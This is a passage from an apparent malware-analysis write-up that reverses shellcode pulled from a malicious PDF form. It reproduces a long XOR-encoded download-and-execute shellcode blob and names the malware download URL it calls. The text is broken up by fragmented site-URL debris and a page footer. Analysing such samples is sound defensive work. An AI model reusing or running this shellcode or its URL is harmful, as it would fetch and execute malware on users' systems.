\xEB\x11\xB9\xB8\x02\x00\x00\x8B\x34\x24\x89\xF7\xAC\x34\x86\xAA\xE2\xFA\xC3\xE8\xEA\x FF\xFF\xFF\x6F\x0F\x84\x86\x86\xD8\x07\x6A\xDA\x87\x86\x86\x0F\x61\x0B\xC9\x96\x0B\xE9 \xD2\x41\xC3\x86\xA9\xC5\xA6\xA4\x05\x43\x82\xB7\x5D\xD1\xD7\xD5\xD5\xD5\xD5\xD5\xD 5\xD5\xD3\xD5\xD5\xEE\x79\x86\x86\x86\xD3\xD0\xD5\xEE\xE9\xE8\x86\x86\xEE\xF3\xF4\xEA \xEB\xD2\xEE\x08\xC8\x88\x6A\x6E\x53\x87\x86\x86\xD6\x6E\x69\x87\x86\x86\x79\x56\x05\x 42\x8E\xEE\xC9\x69\xC9\x83\xD6\x6E\x59\x87\x86\x86\x79\x56\x03\x46\x89\x03\x26\x87\x86 \x86\x6E\x36\x87\x86\x86\xEE\x69\x38\x2B\x58\xEE\x69\x38\x2B\x58\xEE\x69\x38\x2B\x58\x D6\xEE\x23\x91\x86\xFA\xD6\x6E\x33\x87\x86\x86\xEC\x86\xEE\x06\x86\x86\x86\xEC\x85\xEC \x86\xEC\x86\xEE\x86\x86\x86\x46\x0B\xCB\x86\xD7\x79\x56\x0F\xC2\xA2\x8A\x0D\x82\xA2\ xEE\xAF\x94\x40\xD0\xD6\x6E\x0D\x87\x86\x86\x0D\xD2\xA2\x8A\xEC\x86\xEC\x86\xEC\x86\x EC\x82\xEC\x86\xD4\x79\x56\x0F\xC2\xA2\x8E\x0D\x82\xA2\xEE\xDF\xBA\x81\xFD\xD6\x6E\xE E\x87\x86\x86\x0D\xDA\xA2\x8E\xEC\x86\xEC\x86\xEC\x86\xEE\x99\x86\x89\x86\xD5\x79\x56 \x0F\xC2\xA2\x82\x6E\xE6\x86\x86\x86\xCB\xDC\x16\x86\x85\x86\x86\x86\x82\x86\x86\x86\x 79\x79\x86\x86\x3E\x86\x86\x86\x86\x86\x86\x86\xC6\x86\x86\x86\x86\x86\x86\x86\x86\x86 \x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x86\x 86\x86\x86\x86\x86\x6E\x86\x86\x86\x88\x99\x3C\x88\x86\x32\x8F\x4B\xA7\x3E\x87\xCA\x4B \xA7\xD2\xEE\xEF\xF5\xA6\xF6\xF4\xE9\xE1\xF4\xE7\xEB\xA6\xE5\xE7\xE8\xE8\xE9\xD8\x0F\x 44\x0D\x82\xA2\xEE\x51\xD0\xAA\x37\xD6\x6E\x5A\x86\x86\x86\xD6\x3E\xD9\x86\x86\x86\x8 7\x40\x0F\x51\x87\x41\x0F\x47\xC7\xC8\xC9\x0D\x82\xA2\x0D\xD2\xA2\x8E\xE6\xEC\x8C\xD4 \x79\x56\xE7\x64\x68\x05\x42\x82\x0D\x82\xA2\xEE\xDF\x14\x8E\x34\xD6\x6E\x2C\x86\x86\x 86\xD4\x79\x56\x0D\x82\xA2\xEE\x7D\x11\x7B\x89\xD6\x6E\x1F\x86\x86\x86\xD6\xD5\x79\x5 6\xDE\x0D\xCA\xA2\x8A\xD7\x79\x56\x0F\x68\x06\xB8\x86\xF2\x85\xC0\x6D\x7E\xE0\x41\x80 \xA4\x86\xDE\x05\x42\x8A\xEE\x08\xC8\x88\x6A\xD6\x6E\xE9\x86\x86\x86\xEE\xEA\xB5\xB4\ x86\xEE\xF5\xEE\xE3\xEA\xD2\x79\x56\x05\x42\x8E\xEE\xD8\x3D\x67\x9D\xD6\x6E\xD2\x86\x 86\x86\xB7\x5D\xD5\xEE\xE9\xF6\xE3\xE8\xEE\xE5\xEB\xE2\x86\xD5\xD5\x05\x6B\x82\xD3\x0 B\xCA\xA2\x8A\xD7\x05\x47\x82\xD7\xD5\x79\x56\xD5\xEC\x78\xEE\x0F\xE9\x87\x3B\x6E\x8E \x86\x86\x86\xD6\x6E\xA4\x86\x86\x86\x79\x56\xE6\xB7\x4F\xE2\x0D\xF7\xB6\x0D\xF0\x8A\x 0D\xF0\x9A\x0D\xE8\x8E\x0D\xF8\xA6\x0D\xB0\xBE\xC9\x9E\xF3\x75\x0F\xEA\xA2\x9A\xE7\x4 5\xE6\x0D\xEA\xA2\xA2\x0D\xC3\xBA\x0D\xD2\x83\xFE\x87\x6C\x0D\xCC\x9E\x0D\xDC\xA6\x8

htt

p:/

/ww

w.s

yn

ap

se -l

ab

As we said, we aren't in an exploitation paper so we will ommit details about that vulnerability and why it was triggered and how execution will be redirected, etc ... we will just continue the next step by reversing our shellcode that has been sent in memory

s.c om

lets now enumerate all what we have as data : ace : is our filed defined in the xfa template as <field h="65mm" name="ace" w="85mm" x="53.6501mm" y="88.6499mm"> cz : rawValue yj : our payload defined by cs+cb+ca+ci

we added a \xcc (INT 3) before the shellcode so we can inject it using our process injector beesa to alter execution of the shellcode so we know where it starts , we've also set Olly to be a just in time debugger so it pops up right after execution:

You can acquire a copy of beesa from http://www.synapse-labs.com/Beesa.rar

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

7\x6D\x65\xB2\xCF\x0D\xB2\x0D\x87\x68\xB7\x79\xB7\x46\x7A\x2A\x02\x46\xF2\x81\x47\x49 \x8B\x87\x41\x6D\x72\xBD\xFA\xA2\xAE\xF3\x67\x0D\xDC\xA2\x87\x6D\xE0\x0D\x8A\xCD\x0D \xDC\x9A\x87\x6D\x0D\x82\x0D\x87\x6E\x0F\xC2\xA2\x9A\xE7\x44\x8E\x86\x6E\xF4\x7B\x79\ x79\xEE\xF2\xF2\xF6\xBC\xA9\xA9\xBE\xEE\xE4\xB2\xA8\xE5\xFC\xA8\xE5\xE5\xA9\xF1\xA9\xE A\xA8\xF6\xEE\xF6\xB9\xFE\xBB\xB7\xB6\xB6\xB7\x86\x86\x86\x86\x86

a) A generic xor download/execute encoded shellcode with key 86h that grabs the binary using urlmon.URLDownloadToCacheFileA b) uses PEB and determines the location to the needed modules base address c) the url to malware binary to download is http://8hb4.cz.cc/w/l.php?x=1001 just for fun we have developed a binary execution grapher just to show how malware can be transformed into an art form. Below is a sample execution trace of the above reversed shellcode with interaction with the system calls also within the malware :

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

Since this document is mainly focusing on Javascript reverse engineering we will jolt some points below of what we have found during reversing the shellcode inside the debugger:

Das könnte Ihnen auch gefallen